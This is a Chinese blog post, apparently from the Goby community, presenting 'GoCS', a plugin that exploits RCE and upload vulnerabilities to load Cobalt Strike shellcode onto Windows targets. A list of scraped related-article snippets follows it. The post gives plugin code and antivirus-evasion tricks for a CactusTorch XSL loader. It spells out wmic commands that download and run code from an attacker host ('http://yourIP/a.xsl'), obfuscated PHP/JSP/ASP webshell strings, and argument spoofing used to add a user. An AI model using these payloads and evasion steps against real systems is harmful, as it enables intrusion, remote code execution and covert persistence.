前言: Goby 可以快速准确的扫描资产,并直观呈现出来。同时经过上次 EXP 计划过后,PoC&EXP 也增加了许多。在实战化漏洞扫描后,对于高危漏洞的利用,不仅仅只在 whoami 上,而是要进入后渗透阶段,那么对于 Windows 机器而言,上线 CS 是必不可少的操作,会让后渗透如鱼得水。此插件只运用了简单的利用方式上线 CS,希望师傅们能够提供想法和建议把它更为完善,源码中有详细的注释,可供师傅们快速理解。

0×01 插件使用

1.1 插件效果

1.2 使用方法

1.在工具栏导入 CS 的 32 位 RAW 的 payload 文件 (attacks - > packages - > payload generator - > output:raw 后缀为 bin),将免杀后的文件放入 VPS 中。


2.在 Goby 插件配置中设置 VPS 免杀文件地址,在实际使用中也可以进行实时的更改。


3. 在漏洞利用详情页中点击 GoCS
4. 选择一个利用方式和文件形式,根据实际情况更改 payload 进行绕过拦截
点击 GO 即可发包利用

注:现无法只在目标为 Windows 的机器才显示该插件,还需要用户自己判断一下。

0×02 插件开发

2.1 主体框架

├── .gitignore          // 忽略构建输出和node_modules文件
├── README.md           // 插件介绍文档
├── CHANGELOG.md        // 插件更新日志文档
├── src
│   └── CS.png         //CS的图片
│   └── assets   //layui
│   └── extension.js      // 插件源代码
│   └── Gopass.html    //工具栏制作免杀xsl文件
│   └── GoCS.html      //漏洞利用页面进行发包利用上线CS
├── package.json         // 插件配置清单
├── node_modules      //引入模块

2.2 它们的爷爷 package.json

该插件由工具栏的 GoPass.html 和漏洞利用的 index.html 进行大部分工作,所以我先简单介绍它们的爷爷 package.json

2.3 它们的爸爸 extension.js

具体注释在源代码中,在 Goby 中下载 GoCS 后可在根目录下 \extensions 中找到,这只分析重点。
这个页面是父页面(我的理解)在引入模块时直接引用 let fs = require(‘fs’);或者加 parent 也可以。

点击 Command 为 GoPass 后进行的操作来跳出 GoPass.html:

//在工具栏的图标点击过后入口
goby.registerCommand('GoPass',function(content){//获取子页面路径let path = __dirname + "/GoPass.html"//打开子页面并配置长宽goby.showIframeDia(path, "GoPass", "666", "500");})
//在工具栏的图标点击过后结束

进行发包和利用 EXP 的代码:

    //此段代码是摘取Go0p师傅的Goby_exp插件源码//创建Gexp类进行发包获取漏洞详情和利用漏洞class Gexp {//引入包和模块constructor() {this.fs = require('fs')this.request = require('request')this.path = require('path')}//初始化函数之类的吧init() {this.host = this.data.server_host;this.port = this.data.server_port;this.username = this.data.authUsername;this.password = this.data.authPassword;}//获取配置主要用于获取username和password还有代理端口getServerInfo() {//对目录下得配置文件进行读取返回let config_info = this.path.join(__dirname, '../../../config/config.json');//读取文件操作this.data = JSON.parse(this.fs.readFileSync(config_info, 'utf-8'));//返回应该是json类型可以后面直接用return this.data;}//点击按钮时获取你点击的漏洞详情getPOCInfo(vulname, proxystr) {this.init();//进行发包操作获取Goby本地的返回包,其中有漏洞详情,json类型进行后面处理return new Promise((resolve, reject) => {//发包配置一系列的参数this.request({url: `http://${this.host}:${this.port}/api/v1/getPOCInfo`,method: 'POST',auth: {'user': this.username,'pass': this.password,},proxy: proxystr,json: { "vulname": vulname}}, function (error, response, body) {//成功过后会进行返回漏洞详情if (!error && response.statusCode == 200) {//成功状态获取返回值resolve(body);} else {//失败状态返回错误详情reject(error)}});})}//发包利用漏洞,主要用来更改exp的参数debugExp(post_data, proxystr) {this.init();//进行发包操作和本地Goby进行交互,利用更改exp的值进行利用return new Promise((resolve, reject) => {//发包构造一系列参数this.request({url: `http://${this.host}:${this.port}/api/v1/debugExp`,method: 'POST',auth: {'user': this.username,'pass': this.password,},proxy: proxystr,json: post_data}, function (error, response, body) {if (!error && response.statusCode == 200) {//输出返回的内容// console.log(body);resolve(body);} else {reject(error)}});})}}
//构造Gexp类结束

2.4 它们自己

2.4.1 GoPass.html 用来生成免杀 xsl 文件

这个文件主要就是将 bin 文件进行 base64 加密后和 xsl 文件进行拼接,生成一个 GoPass.xsl 文件,供后面进行远程加载。

Xsl 文件的是使用 cactusTorch 作为加载器加载 shellcode,再运用 wmic 进行远程不落地执行 shellcode。由于无文件落地的木马可以附加到任何进程里面执行,而且传统安全软件是基于文件检测的,对目前无文件落地木马检查效果差,所以该插件采用了此形式进行上线 CS。

而原版本的 xsl 文件生成后就会被杀软报毒,那么加入 <!----> 注释符号进行简单免杀绕过,此处只绕过基本的杀软。


同时在重要函数名上也如此。

此处只讨论静态免杀,在 vt 上效果如下。

效果是不够的好,加入 <!----> 如同 P 图,P 得越多,越… 根据上面的绕过举一反三过后的免杀如下。

这几个感觉是执行了文件,只把一个字母大写,代码不能执行了它们就不报毒了,所以后期还需要加强免杀。

2.4.2 index.html 用来生成漏洞利用上线 CS

这个文件主要用来,调用 extension.js 文件中的 Gexp 类,获取 PoC 的参数进行更改后调用 EXP 进行发包利用,其中利用方式有 RCE 和 upload 两种,文件形式有 php,asp,jsp三种(以后会加入 aspx),源码中有具体的注释。

此处因为是子页面使用引入模块时必须加入 parent

let fs = parent.require('fs');
let goby = parent.goby;

同时如果你使用 exec 函数调用 cmd 也是 Goby.exe 进行调用的,生成文件会在 Goby 的根目录下面,不指定目录写文件也是一样。

初次写 js 的师傅注意,下拉框因为是 div 修饰过的,不能再使用原生的事件进行监听,要使用 layui 的语法进行 select 监听事件。

//select监听事件开始
//layui的监听事件和原生select不一样layui.use(['form'], function () {var form = layui.form;//下拉框改变事件开始//layui的调用写法,因为select采用的是layui的样式使用要用它的写法不能用原生的//id为vlul的下拉框的值改变后触发form.on('select(vlul)', function (data) {//调用函数主要用来更新textarea中的内容changeE();});//id为txt的下拉框的值改变后触发form.on('select(txt)', function (data) {//调用函数主要用来更新textarea中的内容changeE();});//下拉框改变事件结束});
//select监听事件结束

以 php 为例,漏洞利用 upload 是上传写入 php 代码执行 cmd 调用 wmic 远程加载运行 shellcode,RCE 是默认可以执行系统 dos 命令的情况下,调用 wmic 进行远程加载运行 shellcode (如果是代码执行漏洞还需要自己添加 system() 之类的调用 cmd 的函数)

最开始的 xsl 文件有了简单的免杀后,能不能成功上线还得看最后一步 wmic 的命令,正常 wmic 命令是 wmic os get /format:“http://yourIP/a.xsl”

不用想,这肯定会被某全家桶拦截,所以我们必须绕过拦截,那么使用用到烂的 echo 加管道符 | 来试试

echo os get /format:“http://yourIP/a.xsl”|wmic

本地 cmd 执行不会被拦,但是 Upload 利用时候,写入页面后,再加载页面时候会被拦,这意外么?毫不意外。但是这里有趣的是,其实这里绕过了但是没有完全绕过,根据高级的食材往往只需简单烹饪这一道理,所以我决定简单烹饪,将它写入 bat 文件中本地执行,最后发现某全家桶毫无拦截。所以页面中不调用 wmic,而是把它写入 bat,本地去执行 wmic 这样就不会被拦截。

所以最后命令为 echo ^echo os get /format:“http://yourIP/a.xsl”^|wmic>>1.bat&&1.bat

最后来看看在某斯基,某全家桶,某管家,某绒的监督下,不落地执行 shellcode 会是什么样子。

看着 6 秒没有反应,还以为是被 某斯基 杀了,结果发现没有。上线后如果执行敏感操作,如创建用户,可以考虑用 argue 参数污染。

使用参考https://www.freesion.com/article/3342904336/

#参数污染 net

argue net xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

#查看污染的参数

argue

#用污染的 net 执行敏感操作

execute net user test2 root123 /add

全程某全家桶是没有进行拦截的


原理简单来讲也如同 P 图,原本执行 net,但是污染后 command 却是 net xxxxxxxxxx,达到绕过。

你在使用中肯定会遇到一些小问题,比如,wmic 加载了一个没有开放的端口就会出现

那么最好的解决办法就是不去解决,等待一分钟过后就可以了,它们都会自己退出。这告诉了我们一件事情,一定记得去防火墙设置里面开放端口。

讲完了 cmd 命令的绕过那么就开始 upload 中 Webshell 的绕过。

Php 是参考冰蝎的回调函数进行利用的 php 语句。

let phpshell = "<?php @call_user_func(base64_decode(\"c3lzdGVta\"),\"" + wmicCMDshell + "\");"

Jsp 基础免杀是参考的 @yzddMr6 师傅的 https://yzddmr6.tk/posts/webshell-bypass-jsp/ 文章

let jspshell = "<%@ page contentType=\"text/html;charset=UTF-8\" import=\"javax.xml.bind.DatatypeConverter\" language=\"java\" %><%Class rt = Class.forName(new String(DatatypeConverter.parseHexBinary(\"6a6176612e6c616e672e52756e74696d65\")));Process e = (Process) rt.getMethod(new String(DatatypeConverter.parseHexBinary(\"65786563\")), String.class).invoke(rt.getMethod(new String(DatatypeConverter.parseHexBinary(\"67657452756e74696d65\"))).invoke(null), \"" + wmicCMDshell + "\");%> ";

Asp 是简单利用的 chr 字符加大写,不能免杀,希望会 asp 的师傅能够指导一下。

let aspshell = "<%response.write server.createobject(\"wscript.sh\"&Chr(69)&\"ll\").ExEc(\"" + wmicAsp +"\").stdout.readall%>"

0×03 总结

第一次编写插件和编写 js 文件,无疑是一次面向百度的编程,总体还是不错,学到了很多。遗憾的是 asp 并没有免杀,还希望会 asp 的师傅指导一下。这个版本很基础,很简单进行利用,所以只能在简单环境下利用,希望后面能加入更多的元素,让这个插件适应更多复杂环境。感谢 Goby 团队的 @青淮 @叶落凡尘 @go0p 师傅的帮助指导。

插件开发文档及Goby开发版下载:

https://gobies.org/docs.html

关于插件开发在B站都有详细的教学,欢迎大家到弹幕区合影~

https://www.bilibili.com/video/BV1u54y147PF/

如果表哥/表姐也想把自己上交给Goby社区(获取红队专版),戳这里领取一份插件任务?

https://github.com/gobysec/GobyExtension/projects

文章来自Goby社区成员:hututuZH,转载请注明出处。

下载Goby内测版,请关注微信公众号:GobySec

下载Goby正式版,请关注网址:https://gobies.org

插件分享 | 简单免杀绕过和利用上线的 GoCS相关推荐

  1. 简单免杀绕过和利用上线的 GoCS

    前言: Goby 可以快速准确的扫描资产,并直观呈现出来.同时经过上次 EXP 计划过后,PoC&EXP 也增加了许多.在实战化漏洞扫描后,对于高危漏洞的利用,不仅仅只在 whoami 上,而 ...

  2. sqlmap绕过d盾_WEBSHELL免杀绕过WAF思路amp;方法(一)

    本文主要介绍WEBSHELL免杀绕过的思路与方法,网上很多的方法基本都被安全厂家加入了检测规则已经不能免杀,所以我们要了解我们主要对手WAF的检测技术,故基于前人优秀基础上我们需要有能力衍生出免杀马, ...

  3. Webshell免杀绕过waf

    转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...

  4. 【工具分享】免杀360火绒的shellcode加载器

    微信公众号:乌鸦安全 扫取二维码获取更多信息! 1. 免杀效果 该shellcode加载器目前可以过360&火绒,Windows Defender没戏... 代码和思路暂不开源! 你可以在我的 ...

  5. 简单免杀过火绒、360极速版

    绝大多数情况马子是在静态时被杀的,如果在内存中运行起来后无法被及时扫描到,那就不用担心了. Quasar这个最常见的远控,基本用C#工具混淆.加弱壳都没有太好的免杀效果. 一.首先编译出来马子,这个马 ...

  6. Badusb原理及制作并简单免杀实现远控教程

    2014年美国黑帽大会上研究人员JakobLell和Karsten Nohl展示了badusb的攻击方法后,国内与badusb相关的文章虽然有了一些,但是大部分人把相关文章都阅读后还是会有种" ...

  7. Metasploit的简单木马免杀技术及后渗透面临的问题

    一. 配置ngrok准备内网穿透 内网穿透的必要性和原理就不用说了,直接说操作.首先到ngrok官网去注册一个号,国内也有一个sunny ngrok,但是我用了几次全失败了,所以推荐国外的,网址是:h ...

  8. Powershell免杀系列(二)

    技术交流 关注微信公众号 Z20安全团队 , 回复 加群 ,拉你入群 一起讨论技术. 直接公众号文章复制过来的,排版可能有点乱, 可以去公众号看. 正文 powershell的免杀⽅法有很多,对代码进 ...

  9. Python shellcode免杀

    浅谈Python shellcode免杀 一.前言 在安全厂商日趋成熟的背景下,编写免杀马的难度和成本日益增长.很多师傅好用的开源免杀项目公布出来的同时几乎也就意味它的失效,对于一些和我一样对系统底 ...

最新文章

  1. Python 国际化
  2. Error: This command has to be run with superuser privileges (under the root user on most systems).
  3. 机器人辅助的符文天赋_10.5版本T1辅助盘点 进攻型辅助主宰下路
  4. css菜单下拉菜单_在CSS中创建下拉菜单
  5. Linux系统文件用户共享,Linux操作系统下的共享文件夹用户设定
  6. Play framework request code 413
  7. 干部身份、三方协议、派遣证(转)
  8. Qt自绘时钟表盘-1
  9. html表格背景图片格式,CSS常见样式(二)——列表,背景,边框,行高,表格,vertical-align...
  10. 《痞子衡嵌入式半月刊》 第 31 期
  11. 蓝旭前端预习5之DOM(文档对象模型)
  12. IMP-00058: IMP-00000: 未成功终止导入
  13. 全志F1C100s主线linux入坑记录 (1)linux系统移植
  14. c语言字母存储,字符串在内存中的储存——C语言进阶
  15. Linux系统之DNS解析
  16. APP接入支付宝支付功能
  17. 批处理命令set /p是什么意思
  18. MyEclipse7.0~7.1下载 + 汉化 + doc 汉化(最新的)
  19. TWS 蓝牙耳机 ANC 调试步骤
  20. Python的平凡之路(5)

热门文章

  1. fiddler4使用方法以及相关抓包分析
  2. EOS 安装本地环境,发币教程,本地节点
  3. Grapher如何显示与绘图线成角度的线图标签丨使用教程
  4. 谷歌浏览器chrome devtools 插件安装
  5. vue项目中如何设置ico图标
  6. [附源码]java毕业设计在线学习网站的设计与实现
  7. 清默网络——我的CCIE考试经验与心得(2)
  8. 2021计算机专业分数线,计算机专业好的大学排名及录取分数线(2021参考)
  9. excel切片器_Excel数据透视表,结合切片器制作一个动态的图表!
  10. doe报告模板_DMAIC六西格玛项目报告模板.ppt